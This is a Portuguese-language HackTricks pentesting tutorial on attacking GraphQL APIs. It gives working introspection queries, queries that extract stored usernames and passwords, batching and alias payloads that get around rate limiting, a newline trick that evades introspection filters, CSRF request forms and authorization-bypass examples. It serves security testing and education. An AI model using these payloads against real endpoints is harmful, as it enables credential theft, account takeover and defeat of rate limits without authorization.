mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 12:03:37 +00:00
513 lines
28 KiB
Markdown
513 lines
28 KiB
Markdown
# GraphQL
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
## Introdução
|
|
|
|
O GraphQL é **destacado** como uma **alternativa eficiente** às APIs REST, oferecendo uma abordagem simplificada para consultar dados do backend. Em contraste com o REST, que frequentemente exige numerosas solicitações em endpoints variados para reunir dados, o GraphQL permite a obtenção de todas as informações necessárias por meio de uma **única solicitação**. Essa otimização beneficia significativamente os desenvolvedores, diminuindo a complexidade de seus processos de busca de dados.
|
|
|
|
## GraphQL e Segurança
|
|
|
|
Com o surgimento de novas tecnologias, incluindo o GraphQL, novas vulnerabilidades de segurança também surgem. Um ponto chave a ser observado é que o **GraphQL não inclui mecanismos de autenticação por padrão**. É responsabilidade dos desenvolvedores implementar tais medidas de segurança. Sem autenticação adequada, os endpoints do GraphQL podem expor informações sensíveis a usuários não autenticados, representando um risco significativo de segurança.
|
|
|
|
### Ataques de Força Bruta de Diretório e GraphQL
|
|
|
|
Para identificar instâncias de GraphQL expostas, é recomendável a inclusão de caminhos específicos em ataques de força bruta de diretório. Esses caminhos são:
|
|
|
|
* `/graphql`
|
|
* `/graphiql`
|
|
* `/graphql.php`
|
|
* `/graphql/console`
|
|
* `/api`
|
|
* `/api/graphql`
|
|
* `/graphql/api`
|
|
* `/graphql/graphql`
|
|
|
|
Identificar instâncias de GraphQL abertas permite a análise das consultas suportadas. Isso é crucial para entender os dados acessíveis através do endpoint. O sistema de introspecção do GraphQL facilita isso detalhando as consultas que um esquema suporta. Para mais informações sobre isso, consulte a documentação do GraphQL sobre introspecção: [**GraphQL: Uma linguagem de consulta para APIs.**](https://graphql.org/learn/introspection/)
|
|
|
|
### Impressão Digital
|
|
|
|
A ferramenta [**graphw00f**](https://github.com/dolevf/graphw00f) é capaz de detectar qual mecanismo GraphQL é usado em um servidor e então imprime algumas informações úteis para o auditor de segurança.
|
|
|
|
#### Consultas universais <a href="#universal-queries" id="universal-queries"></a>
|
|
|
|
Para verificar se uma URL é um serviço GraphQL, uma **consulta universal**, `query{__typename}`, pode ser enviada. Se a resposta incluir `{"data": {"__typename": "Query"}}`, confirma que a URL hospeda um endpoint GraphQL. Este método depende do campo `__typename` do GraphQL, que revela o tipo do objeto consultado.
|
|
```javascript
|
|
query{__typename}
|
|
```
|
|
### Enumeração Básica
|
|
|
|
O GraphQL geralmente suporta **GET**, **POST** (x-www-form-urlencoded) e **POST**(json). Embora por motivos de segurança seja recomendado permitir apenas json para prevenir ataques CSRF.
|
|
|
|
#### Introspecção
|
|
|
|
Para usar a introspecção para descobrir informações do esquema, consulte o campo `__schema`. Este campo está disponível no tipo raiz de todas as consultas.
|
|
```bash
|
|
query={__schema{types{name,fields{name}}}}
|
|
```
|
|
Com esta consulta, você encontrará o nome de todos os tipos sendo usados:
|
|
|
|
![](<../../.gitbook/assets/image (1036).png>)
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
|
|
```
|
|
{% endcode %}
|
|
|
|
Com esta consulta, você pode extrair todos os tipos, seus campos e argumentos (e o tipo dos argumentos). Isso será muito útil para saber como consultar o banco de dados.
|
|
|
|
![](<../../.gitbook/assets/image (950).png>)
|
|
|
|
**Erros**
|
|
|
|
É interessante saber se os **erros** serão **mostrados**, pois contribuirão com informações úteis.
|
|
```
|
|
?query={__schema}
|
|
?query={}
|
|
?query={thisdefinitelydoesnotexist}
|
|
```
|
|
**Enumerar Esquema do Banco de Dados via Introspeção**
|
|
|
|
{% hint style="info" %}
|
|
Se a introspeção estiver ativada, mas a consulta acima não funcionar, tente remover as diretivas `onOperation`, `onFragment` e `onField` da estrutura da consulta.
|
|
{% endhint %}
|
|
```bash
|
|
#Full introspection query
|
|
|
|
query IntrospectionQuery {
|
|
__schema {
|
|
queryType {
|
|
name
|
|
}
|
|
mutationType {
|
|
name
|
|
}
|
|
subscriptionType {
|
|
name
|
|
}
|
|
types {
|
|
...FullType
|
|
}
|
|
directives {
|
|
name
|
|
description
|
|
args {
|
|
...InputValue
|
|
}
|
|
onOperation #Often needs to be deleted to run query
|
|
onFragment #Often needs to be deleted to run query
|
|
onField #Often needs to be deleted to run query
|
|
}
|
|
}
|
|
}
|
|
|
|
fragment FullType on __Type {
|
|
kind
|
|
name
|
|
description
|
|
fields(includeDeprecated: true) {
|
|
name
|
|
description
|
|
args {
|
|
...InputValue
|
|
}
|
|
type {
|
|
...TypeRef
|
|
}
|
|
isDeprecated
|
|
deprecationReason
|
|
}
|
|
inputFields {
|
|
...InputValue
|
|
}
|
|
interfaces {
|
|
...TypeRef
|
|
}
|
|
enumValues(includeDeprecated: true) {
|
|
name
|
|
description
|
|
isDeprecated
|
|
deprecationReason
|
|
}
|
|
possibleTypes {
|
|
...TypeRef
|
|
}
|
|
}
|
|
|
|
fragment InputValue on __InputValue {
|
|
name
|
|
description
|
|
type {
|
|
...TypeRef
|
|
}
|
|
defaultValue
|
|
}
|
|
|
|
fragment TypeRef on __Type {
|
|
kind
|
|
name
|
|
ofType {
|
|
kind
|
|
name
|
|
ofType {
|
|
kind
|
|
name
|
|
ofType {
|
|
kind
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Consulta de introspeção em linha:
|
|
```
|
|
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
|
```
|
|
A última linha de código é uma consulta graphql que irá despejar todas as metainformações do graphql (nomes de objetos, parâmetros, tipos...)
|
|
|
|
![](<../../.gitbook/assets/image (363).png>)
|
|
|
|
Se a introspeção estiver ativada, você pode usar [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) para visualizar em uma GUI todas as opções.
|
|
|
|
### Consultando
|
|
|
|
Agora que sabemos que tipo de informações estão salvas no banco de dados, vamos tentar **extrair alguns valores**.
|
|
|
|
Na introspeção, você pode encontrar **quais objetos você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto flag.
|
|
|
|
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>)
|
|
|
|
Observe que o tipo da consulta "_flags_" é "_Flags_", e este objeto é definido como abaixo:
|
|
|
|
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>)
|
|
|
|
Você pode ver que os objetos "_Flags_" são compostos por **nome** e **valor**. Então você pode obter todos os nomes e valores das flags com a consulta:
|
|
```javascript
|
|
query={flags{name, value}}
|
|
```
|
|
Note que, no caso do **objeto a ser consultado** ser um **tipo primitivo** como **string** como no exemplo a seguir
|
|
|
|
![](<../../.gitbook/assets/image (958).png>)
|
|
|
|
Você pode consultá-lo apenas com:
|
|
```javascript
|
|
query={hiddenFlags}
|
|
```
|
|
Em outro exemplo em que havia 2 objetos dentro do objeto tipo "_Query_": "_user_" e "_users_".\
|
|
Se esses objetos não precisarem de nenhum argumento para pesquisa, é possível **recuperar todas as informações deles** apenas **solicitando** os dados desejados. Neste exemplo da Internet, você poderia extrair os nomes de usuário e senhas salvos:
|
|
|
|
![](<../../.gitbook/assets/image (880).png>)
|
|
|
|
No entanto, neste exemplo, se você tentar fazer isso, receberá este **erro**:
|
|
|
|
![](<../../.gitbook/assets/image (1042).png>)
|
|
|
|
Parece que de alguma forma ele irá pesquisar usando o argumento "_**uid**_" do tipo _**Int**_.\
|
|
De qualquer forma, já sabíamos que, na seção de [Enumeração Básica](graphql.md#enumeração-básica), foi proposta uma consulta que estava nos mostrando todas as informações necessárias: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
|
|
|
Se você ler a imagem fornecida quando eu executar essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_.
|
|
|
|
Assim, realizando uma leve força bruta em _**uid**_, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\
|
|
`query={user(uid:1){user,password}}`
|
|
|
|
![](<../../.gitbook/assets/image (90).png>)
|
|
|
|
Observe que **descobri** que poderia solicitar os **parâmetros** "_**user**_" e "_**password**_" porque se eu tentar procurar por algo que não existe (`query={user(uid:1){noExists}}`) recebo este erro:
|
|
|
|
![](<../../.gitbook/assets/image (707).png>)
|
|
|
|
E durante a fase de **enumeração**, descobri que o objeto "_**dbuser**_" tinha como campos "_**user**_" e "_**password**_.
|
|
|
|
**Truque de despejo de sequência de consulta (obrigado a @BinaryShadow\_)**
|
|
|
|
Se você puder pesquisar por um tipo de string, como: `query={theusers(description: ""){username,password}}` e **procurar por uma string vazia**, ele irá **despejar todos os dados**. (_Observe que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você possa pesquisar usando "**theusers**" por um campo de String chamado "**description**"_).
|
|
|
|
### Pesquisa
|
|
|
|
Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seus **e-mails** e **nomes**; **filmes** por seus **nomes** e **classificações**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.
|
|
|
|
Você pode **pesquisar** pessoas **pelo** nome e obter seus e-mails:
|
|
```javascript
|
|
{
|
|
searchPerson(name: "John Doe") {
|
|
email
|
|
}
|
|
}
|
|
```
|
|
Você pode **pesquisar** pessoas **pelo** **nome** e obter os **filmes** **aos quais estão inscritas**:
|
|
```javascript
|
|
{
|
|
searchPerson(name: "John Doe") {
|
|
email
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Observe como é indicado recuperar o `name` dos `subscribedMovies` da pessoa.
|
|
|
|
Também é possível **pesquisar vários objetos ao mesmo tempo**. Neste caso, uma busca por 2 filmes é realizada:
|
|
```javascript
|
|
{
|
|
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
|
name
|
|
}
|
|
}r
|
|
```
|
|
Ou até mesmo **relações de vários objetos diferentes usando aliases**:
|
|
```javascript
|
|
{
|
|
johnsMovieList: searchPerson(name: "John Doe") {
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
davidsMovieList: searchPerson(name: "David Smith") {
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
### Mutations
|
|
|
|
**As mutações são usadas para fazer alterações no lado do servidor.**
|
|
|
|
Na **introspecção** você pode encontrar as **mutações** **declaradas**. Na seguinte imagem, o "_MutationType_" é chamado "_Mutation_" e o objeto "_Mutation_" contém os nomes das mutações (como "_addPerson_" neste caso):
|
|
|
|
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>)
|
|
|
|
Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seu **e-mail** e **nome**; **filmes** por seu **nome** e **classificação**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.
|
|
|
|
Uma mutação para **criar novos** filmes dentro do banco de dados pode ser como a seguinte (neste exemplo, a mutação é chamada `addMovie`):
|
|
```javascript
|
|
mutation {
|
|
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
|
movies {
|
|
name
|
|
rating
|
|
}
|
|
}
|
|
}
|
|
```
|
|
**Observe como tanto os valores quanto o tipo de dados são indicados na consulta.**
|
|
|
|
Além disso, o banco de dados suporta uma operação de **mutação**, chamada `addPerson`, que permite a criação de **pessoas** juntamente com suas associações a **amigos** e **filmes** existentes. É crucial observar que os amigos e filmes devem existir previamente no banco de dados antes de vinculá-los à pessoa recém-criada.
|
|
```javascript
|
|
mutation {
|
|
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
|
person {
|
|
name
|
|
email
|
|
friends {
|
|
edges {
|
|
node {
|
|
name
|
|
email
|
|
}
|
|
}
|
|
}
|
|
subscribedMovies {
|
|
edges {
|
|
node {
|
|
name
|
|
rating
|
|
releaseYear
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
### Sobrecarga de Diretivas
|
|
|
|
Conforme explicado em [**uma das vulnerabilidades descritas neste relatório**](https://www.landh.tech/blog/20240304-google-hack-50000/), uma sobrecarga de diretivas implica na chamada de uma diretiva mesmo milhões de vezes para fazer o servidor desperdiçar operações até ser possível realizá-lo um ataque de negação de serviço (DoS).
|
|
|
|
### Força bruta em lote em 1 solicitação de API
|
|
|
|
Essa informação foi retirada de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
|
Autenticação por meio da API GraphQL com **envio simultâneo de muitas consultas com credenciais diferentes** para verificação. É um ataque clássico de força bruta, mas agora é possível enviar mais de um par de login/senha por solicitação HTTP devido ao recurso de loteamento do GraphQL. Essa abordagem enganaria aplicativos externos de monitoramento de taxa, fazendo-os pensar que está tudo bem e que não há um bot de força bruta tentando adivinhar senhas.
|
|
|
|
Abaixo você pode encontrar a demonstração mais simples de uma solicitação de autenticação de aplicativo, com **3 pares de email/senha diferentes por vez**. Obviamente, é possível enviar milhares em uma única solicitação da mesma maneira:
|
|
|
|
![](<../../.gitbook/assets/image (1081).png>)
|
|
|
|
Como podemos ver na captura de tela da resposta, a primeira e a terceira solicitações retornaram _null_ e refletiram as informações correspondentes na seção de _error_. A **segunda mutação teve os dados de autenticação corretos** e a resposta possui o token de sessão de autenticação correto.
|
|
|
|
![](<../../.gitbook/assets/image (119) (1).png>)
|
|
|
|
## GraphQL Sem Introspecção
|
|
|
|
Cada vez mais **os pontos finais do graphql estão desabilitando a introspecção**. No entanto, os erros que o graphql lança quando uma solicitação inesperada é recebida são suficientes para ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recriarem a maior parte do esquema.
|
|
|
|
Além disso, a extensão do Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa as solicitações da API GraphQL passando pelo Burp** e **constrói** um esquema interno do GraphQL **com cada nova consulta que vê**. Também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso na API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
|
|
|
Uma **lista de palavras** útil para descobrir [**entidades GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
|
|
|
### Bypassing Defesas de Introspecção GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
|
|
|
Para contornar restrições em consultas de introspecção em APIs, inserir um **caractere especial após a palavra-chave `__schema`** se mostra eficaz. Este método explora descuidos comuns de desenvolvedores em padrões de regex que visam bloquear a introspecção ao focar na palavra-chave `__schema`. Adicionando caracteres como **espaços, quebras de linha e vírgulas**, que o GraphQL ignora mas que podem não ser considerados em regex, as restrições podem ser contornadas. Por exemplo, uma consulta de introspecção com uma quebra de linha após `__schema` pode burlar tais defesas:
|
|
```bash
|
|
# Example with newline to bypass
|
|
{
|
|
"query": "query{__schema
|
|
{queryType{name}}}"
|
|
}
|
|
```
|
|
Se não tiver sucesso, considere métodos de solicitação alternativos, como **solicitações GET** ou **POST com `x-www-form-urlencoded`**, pois as restrições podem se aplicar apenas às solicitações POST.
|
|
|
|
### **Descobrindo Estruturas GraphQL Expostas**
|
|
|
|
Quando a introspecção está desativada, examinar o código-fonte do site em busca de consultas pré-carregadas em bibliotecas JavaScript é uma estratégia útil. Essas consultas podem ser encontradas usando a guia `Sources` nas ferramentas de desenvolvedor, fornecendo insights sobre o esquema da API e revelando potencialmente **consultas sensíveis expostas**. Os comandos para pesquisar dentro das ferramentas de desenvolvedor são:
|
|
```javascript
|
|
Inspect/Sources/"Search all files"
|
|
file:* mutation
|
|
file:* query
|
|
```
|
|
## CSRF em GraphQL
|
|
|
|
Se você não sabe o que é CSRF, leia a seguinte página:
|
|
|
|
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
|
|
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
|
|
{% endcontent-ref %}
|
|
|
|
Lá fora, você será capaz de encontrar vários endpoints GraphQL **configurados sem tokens CSRF.**
|
|
|
|
Observe que as solicitações GraphQL geralmente são enviadas via solicitações POST usando o Content-Type **`application/json`**.
|
|
```javascript
|
|
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
|
```
|
|
No entanto, a maioria dos pontos finais do GraphQL também suporta **pedidos POST** **`form-urlencoded`**:
|
|
```javascript
|
|
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
|
```
|
|
Portanto, como as solicitações CSRF como as anteriores são enviadas **sem solicitações de preflight**, é possível **realizar** **alterações** no GraphQL abusando de um CSRF.
|
|
|
|
No entanto, observe que o novo valor padrão do cookie da flag `samesite` do Chrome é `Lax`. Isso significa que o cookie só será enviado de um site de terceiros em solicitações GET.
|
|
|
|
Observe que geralmente é possível enviar a **solicitação** **de consulta** também como uma **solicitação GET e o token CSRF pode não ser validado em uma solicitação GET.**
|
|
|
|
Além disso, abusar de um [**ataque XS-Search**](../../pentesting-web/xs-search/) pode ser possível para extrair conteúdo do endpoint GraphQL abusando das credenciais do usuário.
|
|
|
|
Para mais informações, **verifique o** [**post original aqui**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
|
|
|
## Autorização no GraphQL
|
|
|
|
Muitas funções GraphQL definidas no endpoint podem verificar apenas a autenticação do solicitante, mas não a autorização.
|
|
|
|
Modificar as variáveis de entrada da consulta pode resultar em detalhes da conta sensíveis [vazados](https://hackerone.com/reports/792927).
|
|
|
|
A mutação pode até resultar em uma tomada de conta tentando modificar dados de outras contas.
|
|
```javascript
|
|
{
|
|
"operationName":"updateProfile",
|
|
"variables":{"username":INJECT,"data":INJECT},
|
|
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
|
}
|
|
```
|
|
### Bypassar autorização no GraphQL
|
|
|
|
[Encadear consultas](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) pode contornar um sistema de autenticação fraco.
|
|
|
|
No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que ela deve executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso adicionamos "register" e uma variável de usuário para o sistema se registrar como um novo usuário.
|
|
|
|
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Bypass de Limites de Taxa Usando Aliases no GraphQL
|
|
|
|
No GraphQL, os aliases são um recurso poderoso que permite **nomear propriedades explicitamente** ao fazer uma solicitação de API. Essa capacidade é particularmente útil para recuperar **múltiplas instâncias do mesmo tipo** de objeto em uma única solicitação. Os aliases podem ser usados para superar a limitação que impede que objetos GraphQL tenham várias propriedades com o mesmo nome.
|
|
|
|
Para uma compreensão detalhada dos aliases do GraphQL, recomenda-se o seguinte recurso: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
|
|
|
Embora o objetivo principal dos aliases seja reduzir a necessidade de inúmeras chamadas de API, foi identificado um caso de uso não intencional em que os aliases podem ser aproveitados para executar ataques de força bruta em um endpoint GraphQL. Isso é possível porque alguns endpoints são protegidos por limitadores de taxa projetados para impedir ataques de força bruta restringindo o **número de solicitações HTTP**. No entanto, esses limitadores de taxa podem não considerar o número de operações dentro de cada solicitação. Dado que os aliases permitem a inclusão de várias consultas em uma única solicitação HTTP, eles podem contornar tais medidas de limitação de taxa.
|
|
|
|
Considere o exemplo fornecido abaixo, que ilustra como consultas com aliases podem ser usadas para verificar a validade de códigos de desconto de loja. Este método poderia contornar a limitação de taxa, pois compila várias consultas em uma única solicitação HTTP, permitindo potencialmente a verificação de vários códigos de desconto simultaneamente.
|
|
```bash
|
|
# Example of a request utilizing aliased queries to check for valid discount codes
|
|
query isValidDiscount($code: Int) {
|
|
isvalidDiscount(code:$code){
|
|
valid
|
|
}
|
|
isValidDiscount2:isValidDiscount(code:$code){
|
|
valid
|
|
}
|
|
isValidDiscount3:isValidDiscount(code:$code){
|
|
valid
|
|
}
|
|
}
|
|
```
|
|
## Ferramentas
|
|
|
|
### Scanners de Vulnerabilidades
|
|
|
|
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testa configurações incorretas comuns em pontos finais graphql
|
|
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica a versão do graphql sendo usada
|
|
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de ferramentas que pode ser usado para obter esquemas e buscar por dados sensíveis, testar autorização, forçar esquemas e encontrar caminhos para um tipo específico.
|
|
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Pode ser usado como um aplicativo independente ou [extensão do Burp](https://github.com/doyensec/inql).
|
|
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Pode ser usado como um cliente CLI para automatizar ataques
|
|
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Ferramenta que lista as diferentes maneiras de alcançar um tipo específico em um esquema GraphQL.
|
|
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensão do Burp para testes avançados de GraphQL. O _**Scanner**_ é o núcleo do InQL v5.0, onde você pode analisar um ponto final GraphQL ou um arquivo de esquema de introspecção local. Ele gera automaticamente todas as consultas e mutações possíveis, organizando-as em uma visualização estruturada para sua análise. O componente _**Attacker**_ permite executar ataques em lote GraphQL, o que pode ser útil para contornar limites de taxa mal implementados.
|
|
|
|
### Clientes
|
|
|
|
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Cliente GUI
|
|
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Cliente GUI
|
|
|
|
### Testes Automáticos
|
|
|
|
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
|
|
|
* Vídeo explicando o AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
|
|
|
## Referências
|
|
|
|
* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
|
|
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
|
* [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
|
|
* [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
|
|
* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
|
|
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
|
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|